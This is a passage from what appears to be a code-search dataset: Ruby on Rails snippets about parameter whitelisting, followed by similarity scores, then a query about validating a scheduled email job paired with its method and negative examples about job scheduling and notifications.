"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] | [
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] | 0.0 | -1 |
Check if the job should still execute, or if changes since being scheduled have invalidated it. The user hasn't changed the time they want to get emails. The user still wants email notifications. The user still wants batched emails. | def job_invalid?(user, user_now)
user.preference_notify_me_by_email !=
user_now.preference_notify_me_by_email ||
user.preference_individual_email_notifications !=
user_now.preference_individual_email_notifications ||
user.preference_email_time !=
user_now.preference_email_time
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def not_qualified?\r\n job_status != JobStatus::COMPLETED and job_status != JobStatus::INCOMPLETED and job_status != JobStatus::EXCLUDED\r\n end",
"def reminders_need_to_be_sent?(event, local_time_job_started, job_interval)\n # Could put other logic here...\n return self.time_to_remind?(event, local_time_job_started, job_interval) && self.reminders_sent_today?(event, local_time_job_started)\n end",
"def limit_jobs?\n !self[:scheduling].nil? && self[:scheduling] == false\n end",
"def trigger_condition_met?(_job)\n true\n end",
"def can_cancel_and_reschedule?\n return true unless follow_up_for_dose\n\n Time.zone.now > can_change_after\n end",
"def job_status_expired?\n if self.expired?\n return true\n else\n return false\n end\n end",
"def block_kyc_submit_job_hard_check\n\n if (@user_kyc_detail.kyc_approved? || @user_kyc_detail.kyc_denied?)\n fail \"KYC is already approved for user id: #{@user_id}.\"\n end\n\n if @user.id != @user_extended_detail.user_id\n fail \"KYC doesn't belong to user id: #{@user_id}.\"\n end\n\n Rails.logger.info('-- block_kyc_submit_job_hard_check done')\n end",
"def check_if_needs_approval\r\n self.suspended_at = Time.now if Setting.user_signup == :needs_approval && !self.admin\r\n end",
"def check_refresh_job\n return unless temporize_client.jobs.empty?\n\n temporize_client.update!\n end",
"def stale_approval?\n ActsAsApprovable.stale_check? and update? and stale?\n end",
"def check_notification\n referral = self\n admin = referral.job.admin\n\n if referral.is_interested == true && referral.is_admin_notified == false\n # binding.pry\n if referral.update_attribute(:is_admin_notified, true)\n ReferralMailer.deliver_admin_notification(referral, admin)\n referral.save\n else\n render 'edit', error: \"We had an issue with your referral request. Please try again.\"\n end\n end\n end",
"def should_stop?\n @time_observer.time_is_up? &&\n FINAL_JOB_TASK_STATUSES.exclude?(@task_status)\n end",
"def stalled?\n # only makes sense for jobs that are in an actively processing state\n return false unless pending? || in_progress?\n\n (Time.zone.now - updated_at) > IDLE_THRESHOLD\n end",
"def valid?\n id && cron_schedule && worker\n end",
"def check\n super\n # Save the start time for the job\n @start_time = Time.now\n raise ArgumentError, \"Missing execution context\" if @context.blank?\n true\n end",
"def needs_email_change?\n self[:force_email_change] || !self.email.present?\n end",
"def allows_update?(account) \n return self.task.allows_update?(account)\n end",
"def appellant_email_sent_flag\n should_send_email = updates_requiring_email? ||\n appellant_email.present? ||\n appellant_timezone.present?\n\n # Note: Don't set flag if hearing disposition is cancelled, postponed, or scheduled in error\n !should_send_email || hearing.postponed_or_cancelled_or_scheduled_in_error?\n end",
"def watch_apply_ok_for_job\n j = (Job.find(params[:job_id].present? ? params[:job_id] : params[:id]) rescue nil)\n if j == nil || @current_user == j.user\n flash[:error] = 'You can\\'t watch or apply to your own listing.'\n redirect_to job_path(j)\n end\n end",
"def temp_work_complete?\n user.id == @task_work_offer.task.user.id\n end",
"def wake_worker_after_commit\n false\n end",
"def wake_worker_after_commit\n false\n end",
"def has_pending?\n self.class.job_run_class.has_pending?(@job, @batch)\n end",
"def need_send_status_mail?\n Project.owned_by(self).count > 0 ||\n Project.executed_by(self).count.present?\n end",
"def judge_email_sent_flag\n flag = !(updates_requiring_email? || virtual_hearing_attributes&.key?(:judge_email) || judge_id.present?)\n flag || virtual_hearing_cancelled?\n end",
"def overdue_job(user, job)\n @job = job \n mail(to: user.email, subject: 'Job Overdue') \n end",
"def will_save_change_to_email?\n false\n end",
"def delayed_jobs_kicked_off\n Grade.delay.add_or_update(self.user, self) if correct?\n end",
"def check_schedule_unconfirmed\n\t\t# Picked a random 'check' user service and temporary set it's status to scheduled_unconfirmed\n\t\tuser_service \t\t= UserService.find_by(relationship_type: 'check')\n\t\tuser_service.date \t= Time.now\n\t\tuser_service.status = 'schedule_unconfirm'\n\t\tUserServicesMailer.check_updated(user_service)\n\tend",
"def last_request_update_allowed?\n action_name != \"timeout\"\n end",
"def send_recover_needs_approval_email\n Users::SendNeedsApprovalEmailJob.perform_later(user_id: self.id, active: false)\n end",
"def correct_user_to_edit\n not_allow if (@job.user.id != current_user.id) \n end",
"def _update_check_needed\n (Time.now - @last_update_check) > UPDATE_VALID_PERIOD\n end",
"def judge_email_sent_flag\n should_send_email = updates_requiring_email? ||\n judge_id.present? ||\n virtual_hearing_attributes&.key?(:judge_email)\n\n # Note: Don't set flag if hearing disposition is cancelled, postponed, or scheduled in error\n !should_send_email || virtual_hearing_cancelled? || hearing.postponed_or_cancelled_or_scheduled_in_error?\n end",
"def do_scheduling?\n\t\t!self.scheduled_at.blank?\n\tend",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def trigger_requeue!\n false\n end",
"def has_job_draft?\n self.jobs.draft_only.count > 0\n end",
"def skip_email_changed_notification!; end",
"def has_notifications?\n current_user and GroupManager.instance.resolver.is_ad_admin?(current_user) and\n Workflow::AccrualJob.awaiting_admin.present?\n end",
"def background_check_pending?\n !background_check_authorized_at.nil? && (!passed_background_check? && background_check_run_at.nil?)\n end",
"def job_running_past_expected_end_time?\n Time.zone.now > job_expected_end_time\n end",
"def is_required?\n return self.schedule_status == 'reschedule' ? true : false\n end",
"def locked?\n !!locked_by && !!locked_at && (locked_at + Delayed::Worker.max_run_time) >= Delayed::Job.db_time_now\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def do_unschedule (job_id)\n\n job = get_job job_id\n\n return (@cron_jobs.delete(job_id) != nil) if job.is_a?(CronJob)\n\n return false unless job # not found\n\n if job.is_a?(AtJob) # catches AtJob and EveryJob instances\n @non_cron_jobs.delete(job_id)\n job.params[:dont_reschedule] = true # for AtJob as well, no worries\n end\n\n for i in 0...@pending_jobs.length\n if @pending_jobs[i].job_id == job_id\n @pending_jobs.delete_at i\n return true # asap\n end\n end\n\n true\n end",
"def executing_job?\n @executing_job == true\n end",
"def email_status_change_notices\n return if previously_published?\n\n case status\n when 'published', 'embargoed'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_published_notice(resource, status).deliver_now\n when 'peer_review'\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n StashEngine::UserMailer.journal_review_notice(resource, status).deliver_now\n when 'submitted'\n\n # Don't send multiple emails for the same resource, or for submission made by curator\n return if previously_submitted?\n\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n when 'withdrawn'\n return if note.include?('final action required reminder') # this has already gotten a special withdrawal email\n\n if user_id == 0\n StashEngine::UserMailer.user_journal_withdrawn(resource, status).deliver_now\n else\n StashEngine::UserMailer.status_change(resource, status).deliver_now\n end\n end\n end",
"def follow_on_job?\n false\n end",
"def unscheduled?\n state == :unscheduled\n end",
"def working?\n job_working?\n end",
"def valid_alert? \n check_in = self.query[\"check_in\"].to_datetime if self.query[\"check_in\"]\n check_out = self.query[\"check_out\"].to_datetime if self.query[\"check_out\"]\n if (check_in && (check_in < Time.now)) or (check_out && (check_out < Time.now))\n Authorization::Maintenance::without_access_control do\n ActiveRecord::Base.record_timestamps = false\n self.update_attributes({:active => false})\n ActiveRecord::Base.record_timestamps = true\n end\n return false\n else\n return true\n end\n end",
"def lock_exclusively!(max_run_time, worker)\n now = self.class.db_time_now\n \n #whether this job has run before in the past\n first_time=self.first_started_at.nil?\n\n #attributes to modify in the job table\n conditions=\"locked_at = ?, last_started_at = ?\"\n attrs=[now,now]\n\n #if it hasn't been run, then we want to also update first_started_at\n if first_time\n conditions+=\", first_started_at = ?\"\n attrs << now\n end\n\n if locked_by != worker\n # We don't own this job so we will also update the locked_by name\n conditions+=\", locked_by = ?\"\n attrs.unshift(conditions)\n attrs << worker\n affected_rows = self.class.update_all(attrs,\n [\"id = ? and (locked_at is null or locked_at < ?) and (run_at <= ?)\", id, (now - max_run_time.to_i), now])\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n attrs.unshift(conditions)\n affected_rows = self.class.update_all(attrs, [\"id = ? and locked_by = ?\", id, worker])\n end\n\n if affected_rows == 1\n #update the attributes to the same values that were set in the database\n self.locked_at = now\n self.last_started_at = now\n self.first_started_at ||= now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def send_active_needs_approval_email\n Users::SendNeedsApprovalEmailJob.perform_later(user_id: self.id, active: true)\n end",
"def before_schedule_check_lock_availability(*args)\n Resque.inline? || job_available_for_queueing?(args)\n end",
"def validate_task(task, instance, options)\n if instance.try(:ext_management_system)&.zone&.maintenance?\n task.error(\"#{instance.ext_management_system.name} is paused\")\n return false\n end\n\n return true unless options[:task] == \"retire_now\" && instance.retired?\n task.error(\"#{instance.name} is already retired\")\n false\n end",
"def check_for_processor_update(updated_task)\n (self.completed != updated_task.completed)\n end",
"def check_for_admin_update(updated_task)\n (self.request_number != updated_task.request_number ||\n self.description != updated_task.description ||\n self.mfg != updated_task.mfg ||\n self.mfg_num != updated_task.mfg_num ||\n self.cae_model != updated_task.cae_model ||\n self.cad_model != updated_task.cad_model ||\n self.completed != updated_task.completed ||\n self.closed != updated_task.closed ||\n self.model_types != updated_task.model_types.reverse)\n end",
"def check_user_background\n self.status = Status::PENDING_ADMIN_ACTION if offender && offender.new_user?\n end",
"def became_incompleted?\n completed_changed? && !completed\n end",
"def shutdown_less_emails_sent_than_defined_in_user_profile?\n notifications_delivered < notifications_for_shutdown\n end",
"def update_user_mark_email_processed\n # Ignore any suspicious looking internal dates. Sometimes\n # misconfigured email servers means that email arrives from the\n # future.\n if internal_date > Time.now\n Log.librato(:count, \"system.process_uid.fix_suspicious_internal_date\", 1)\n self.internal_date = user.last_internal_date\n end\n\n # Update the user.\n user_thread.update_user(:last_uid => uid,\n :last_email_at => Time.now,\n :last_internal_date => internal_date)\n return true\n end",
"def sex_offender_check_pending?\n !background_check_authorized_at.nil? && (!passed_sex_offender_check? && sex_offender_check_run_at.nil?)\n end",
"def need_req_to_del?(ignore_former_req=false)\n\n return false if self.status == Team::STATUS_ACTIVATED\n\n if ignore_former_req or self.req_to_del_at.nil?\n return true if self.updated_at.nil?\n\n base_dt = self.updated_at\n pending_months = 3\n else\n base_dt = self.req_to_del_at\n pending_months = 1\n end\n\n expired_date = (UtilDate.create(base_dt).get_date >> pending_months)\n\n return UtilDate.create(expired_date).before?(Date.today)\n end",
"def completed?\n !self.shift_jobs.empty?\n end",
"def can_update_all_recipients_emails? = !prod? && draft_or_planned? && communes.any?",
"def check_for_admin_update(updated_task)\n (self.number != updated_task.number ||\n self.pcb_revision != updated_task.pcb_revision ||\n self.pcba_part_number != updated_task.pcba_part_number ||\n self.cuts_and_jumps != updated_task.cuts_and_jumps ||\n self.screened_at != updated_task.screened_at ||\n self.document_link != updated_task.document_link ||\n self.directory_name != updated_task.directory_name ||\n self.completed != updated_task.completed ||\n self.closed != updated_task.closed || \n self.eco_types != updated_task.eco_types)\n end",
"def email_changed?\r\n false\r\n end",
"def send_delayed_validation_email\n #get delayed time\n delayed_time = self.time + 1.hour + 45.minutes\n #get info for emails\n booking_name = self.booking_name\n email = self.restaurant.principle_email\n restaurant_name = self.restaurant.name\n #send delayed emails\n if delayed_time > Time.now\n ReservationValidationEmailWorker.perform_at(delayed_time, booking_name, email, restaurant_name )\n end\n end",
"def job_status_awaiting_invoice?\n if self.has_interpreter_assigned? && !self.invoice_submitted? && self.completed?\n return true\n else\n return false\n end\n end",
"def waits_too_long?(account)\n is?(:asked) and self.asked <= 4.days.ago.to_date\n end",
"def lock_exclusively!(max_run_time, worker = worker_name)\n now = Time.now\n affected_rows = if locked_by != worker\n # We don't own this job so we will update the locked_by name and the locked_at\n # self.class.update_all([\"locked_at = ?, locked_by = ?\", now, worker], [\"id = ? and (locked_at is null or locked_at < ?)\", id, (now - max_run_time.to_i)])\n klass = self.class\n (klass.all(:id => id) & (klass.all(:locked_at => nil) | klass.all(:locked_at => now))).update(:locked_at => now, :locked_by => worker)\n else\n # We already own this job, this may happen if the job queue crashes.\n # Simply resume and update the locked_at\n # self.class.update_all([\"locked_at = ?\", now], [\"id = ? and locked_by = ?\", id, worker])\n self.class.all(:id => id, :locked_by => worker).update(:locked_at => now)\n end\n if affected_rows == true\n self.locked_at = now\n self.locked_by = worker\n return true\n else\n return false\n end\n end",
"def resendable?\n (self.sent_at + 15.minutes) < Time.current\n end",
"def cancellable?\n !cancelled? and !missed? and (start_time - Time.now) > CANCELLATION_DEADLINE\n end",
"def failed? participate\n return participate.continuous_check_in == 0 || participate.updated_at.to_date != Time.now.utc.to_date\nend",
"def job_canceled_notification(user, job)\n # TODO: Consider sending only one email to all concerned users.\n @user = user\n @job = job\n @job_coordinator = job.user\n mail to: \"#{user.full_name} <#{user.email}>\",\n cc: \"#{@job_coordinator.full_name} <#{@job_coordinator.email}>\",\n subject: t(\n \".subject\",\n job_title: job.title,\n job_date: @job.start_at.to_date.to_localized_s(:short_with_weekday)\n )\n record_activity :send_job_canceled_notification, @user, data: {job: @job}\n end",
"def job_ended?\n FINAL_JOB_TASK_STATUSES.include?(@task_status)\n end",
"def update_completed? ; false ; end",
"def executable?\n \n # Return false if picked up by another WQ instance\n if id\n old_lock_version = lock_version\n self.reload\n return false if old_lock_version != lock_version\n end\n \n # Return true we can sill be executed\n return WorkerQueue.available_tasks.include?(self) && !completed? && !running? \n end",
"def trying_to_hide_by_changing_slacking_off_selector?\n will_save_change_to_notify_progress_report_recipient_id_if_i_miss_more_than_3_weeks? && notify_progress_report_recipient_id_if_i_miss_more_than_3_weeks_was.present?\n end",
"def pending_shop_request?\n !launched_shop? && latest_pending_shop_request\n end",
"def schedule_check_in_deadline\n #if !ENV == test\n job = self.delay(run_at: 24.hours.from_now).check_in \n update_column(:delayed_job_id, job.id) # Update Delayed_job\n Delayed::Job.find_by(:id => job.id).\n update_columns(\n owner_type: \"Micropost\",\n owner_job_type: \"24 Hour Deadline\",\n owner_id: self.id,\n user_id: self.user_id,\n )\n end",
"def claimed_chore?\n tasks.where(completion_status: \"pending\").count > 0\n end",
"def check_for_processor_update(updated_task)\n (self.completed != updated_task.completed ||\n self.cae_model != updated_task.cae_model ||\n self.cad_model != updated_task.cad_model)\n end",
"def able_to_save?\n unlocked? or state_was == 'pending'\n end",
"def eop?\n @jobs.empty?\n end",
"def will_save_change_to_email?\n false\n end",
"def will_save_change_to_email?\n false\n end",
"def will_save_change_to_email?\n false\n end",
"def perform(email, job_id)\n if email.blank? or job_id.blank?\n puts(\"Either of job or email is blank. Email: #{email}, Job: #{job_id}\")\n return\n end\n\n email_invitations = EmailInvitation.where(:email => email)\n email_invitation = nil\n email_invitations.each do |invitation|\n unless invitation[:invitor_handle].blank?\n email_invitation = invitation\n end\n end\n\n if !email_invitations.blank? and email_invitation.blank?\n email_invitation = email_invitations[0]\n end\n\n if email_invitation.blank?\n email_invitation = create_email_invitation_for_email(email, nil)\n end\n\n if email_invitation.reminder_count >= 3\n puts(\"Reminder count exceeded for user: #{email}\")\n return\n end\n\n job = get_job_by_id(job_id)\n if job.blank? or !job.live\n puts(\"Either Job is blank or not live. live? #{job.live}\")\n return\n end\n\n email_variation_id = get_job_email_variation\n user = get_user_by_email(email)\n if user.blank?\n user = create_passive_user(email)\n elsif user[:active]\n puts(\"USER (#{user})is active returning from not sending invitation\")\n return\n end\n begin\n Notifier.email_job_invitation(user, '', job, email_variation_id).deliver\n rescue Exception => ex\n puts \"Exception: #{ex}\"\n end\n\n email_invitation.last_variation_used = email_variation_id\n email_invitation.time = Time.now\n email_invitation.reminder_count = email_invitation.reminder_count + 1\n email_invitation.save\n track_email_send(\"track_job_email_#{job_id}_#{email_variation_id}\")\n end",
"def check_schedule_confirmed\n\t\t# Picked a random 'check' user service and temporary set it's status to schedule_confirmed\n\t\tuser_service \t\t= UserService.find_by(relationship_type: 'check')\n\t\tuser_service.date \t= Time.now\n\t\tuser_service.status = 'schedule_confirmed'\n\t\tUserServicesMailer.check_updated(user_service)\n\tend",
"def email_changed?\n false\n end",
"def email_changed?\n false\n end",
"def destroy_failed_jobs?\n return true\n end",
"def incomplete?\r\n job_status != JobStatus::COMPLETED\r\n end",
"def before_enqueue_check_lock_availability(*args)\n # Second condition handles the case when the job is already queueing\n # (was allowed to put in queue at the moment of scheduling), and now scheduler moves it\n # from future schedule to queue; if we'll not allow this, job will be lost.\n Resque.inline? || call_from_scheduler? || job_available_for_queueing?(args)\n end",
"def do_notify_disabled(transition)\n if user && Rails.application.settings.enforce_rules\n UserMailer.access_revoked(user, self).deliver_later\n end\n end",
